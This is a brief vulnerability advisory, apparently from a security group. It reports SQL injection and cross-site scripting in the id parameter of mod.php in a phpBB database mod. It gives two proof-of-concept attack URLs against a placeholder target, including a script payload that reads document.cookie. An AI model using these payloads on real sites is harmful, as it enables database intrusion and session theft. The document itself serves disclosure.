vulnerable mod:
datenbank

explaination:
you can pass SQL Injection / Cross Site Scripting (Commands) in the id variable inside the mod.php (mod-datenbank)

exploit:
http://[target]/phpBB/moddb/mod.php?id='[SQL Injection] 
http://[target]/phpBB/moddb/mod.php?id='><script>alert(documen t.cookie)
</script>

this bugs discovered by : neO
SGT SecurityGurus Team 
www.securitygurus.net